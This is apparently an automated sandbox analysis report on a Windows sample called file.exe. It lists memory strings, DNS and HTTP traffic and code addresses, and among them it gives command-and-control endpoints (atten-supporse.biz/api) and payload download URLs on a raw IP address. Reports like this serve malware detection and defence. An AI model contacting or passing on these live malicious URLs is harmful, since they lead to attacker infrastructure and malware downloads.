d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: atten-supporse.biz
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: atten-supporse.biz

Source: file.exe, 00000000.00000003.2421216239.0000000000F81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000002.2548325280.00000000009CA000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000002.2548540274.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.2548540274.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.2234310380.00000000056EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2234310380.00000000056EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2261933260.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2340582124.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2262456548.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2183169174.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156569902.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290277946.0000000000F76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microx
Source: file.exe, 00000000.00000003.2234310380.00000000056EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2234310380.00000000056EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2234310380.00000000056EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2234310380.00000000056EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2234310380.00000000056EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2234310380.00000000056EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2234310380.00000000056EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_108.7.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.2234310380.00000000056EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2234310380.00000000056EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2183430140.00000000056D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2183504508.00000000056B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_108.7.dr, chromecache_109.7.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_108.7.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: file.exe, 00000000.00000003.2183169174.0000000000F43000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2421099126.0000000000FA4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2233249694.00000000056B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2340622891.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2286497434.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2286593609.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2286557719.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2233838808.00000000056B8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2291708986.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2421233661.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/
Source: file.exe, 00000000.00000003.2156936347.0000000000F25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/;
Source: file.exe, 00000000.00000003.2233249694.00000000056B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2233838808.00000000056B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/B
Source: file.exe, 00000000.00000003.2233249694.00000000056B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2233838808.00000000056B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/J
Source: file.exe, 00000000.00000003.2286497434.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2286557719.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2304533965.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2291708986.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/Q
Source: file.exe, 00000000.00000003.2291641410.00000000056CB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2261910701.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2304399098.00000000056CB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2262407758.0000000000FA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2421099126.0000000000FA4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2434178600.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2286497434.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2286557719.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2304533965.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2291708986.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2421233661.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api
Source: file.exe, 00000000.00000003.2291708986.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/q
Source: file.exe, 00000000.00000003.2291708986.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/y
Source: file.exe, 00000000.00000003.2233249694.00000000056B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2233838808.00000000056B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/z
Source: file.exe, 00000000.00000002.2548540274.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/api
Source: chromecache_108.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_108.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.2183430140.00000000056D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2183504508.00000000056B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2183430140.00000000056D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2183504508.00000000056B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2183430140.00000000056D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2183504508.00000000056B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.2183430140.00000000056D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2183504508.00000000056B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2183430140.00000000056D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2183504508.00000000056B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2183430140.00000000056D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2183504508.00000000056B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_108.7.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_108.7.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_108.7.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_108.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_108.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_108.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_108.7.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_108.7.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_108.7.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_108.7.dr	String found in binary or memory: https://github.com/nschonni
Source: chromecache_108.7.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_89.7.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.2235610135.00000000057C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2235610135.00000000057C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_89.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.2183430140.00000000056D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2183504508.00000000056B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2183430140.00000000056D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2183504508.00000000056B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.2235558269.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: file.exe, 00000000.00000003.2235558269.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000003.2235610135.00000000057C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000003.2235610135.00000000057C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: file.exe, 00000000.00000003.2235610135.00000000057C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50039 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E3E1E	0_2_061E3E1E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0621462A	0_2_0621462A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0620F633	0_2_0620F633
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06208639	0_2_06208639
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061ECE04	0_2_061ECE04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06226613	0_2_06226613
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061F7E26	0_2_061F7E26
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E3657	0_2_061E3657
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0620FE70	0_2_0620FE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061EBE4D	0_2_061EBE4D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0621B67C	0_2_0621B67C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0620D649	0_2_0620D649
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0621AE4C	0_2_0621AE4C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0620A650	0_2_0620A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D7E69	0_2_061D7E69
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E6E65	0_2_061E6E65
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062166A4	0_2_062166A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D5E96	0_2_061D5E96
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062226B2	0_2_062226B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D6E8F	0_2_061D6E8F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E0EAE	0_2_061E0EAE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0621C694	0_2_0621C694
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061FD6A7	0_2_061FD6A7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D8ED8	0_2_061D8ED8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061F2ED8	0_2_061F2ED8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06222EEB	0_2_06222EEB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DDED0	0_2_061DDED0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DA6CF	0_2_061DA6CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06218ED1	0_2_06218ED1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061EB6E9	0_2_061EB6E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E4712	0_2_061E4712
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DBF0B	0_2_061DBF0B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E8708	0_2_061E8708
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D9F33	0_2_061D9F33
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0621971D	0_2_0621971D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0620976E	0_2_0620976E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DEF40	0_2_061DEF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061FA740	0_2_061FA740
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E777A	0_2_061E777A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DD772	0_2_061DD772
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06211FAA	0_2_06211FAA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DE790	0_2_061DE790
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061EE78B	0_2_061EE78B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061FE7BD	0_2_061FE7BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06227F8F	0_2_06227F8F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061F4FAE	0_2_061F4FAE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E8FA9	0_2_061E8FA9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06200FE5	0_2_06200FE5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062127F2	0_2_062127F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0622A7C5	0_2_0622A7C5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D97F0	0_2_061D97F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062107D0	0_2_062107D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D5FE9	0_2_061D5FE9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0620DFD4	0_2_0620DFD4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0620BC21	0_2_0620BC21
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E8C1A	0_2_061E8C1A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06215C29	0_2_06215C29
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0621742D	0_2_0621742D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0622AC2D	0_2_0622AC2D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06203C39	0_2_06203C39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061F4C05	0_2_061F4C05
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061EFC28	0_2_061EFC28
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E7421	0_2_061E7421
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06218460	0_2_06218460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0621EC6C	0_2_0621EC6C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06228C6C	0_2_06228C6C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06224473	0_2_06224473
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061F6C7D	0_2_061F6C7D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061F7476	0_2_061F7476
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0621244C	0_2_0621244C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061F946A	0_2_061F946A
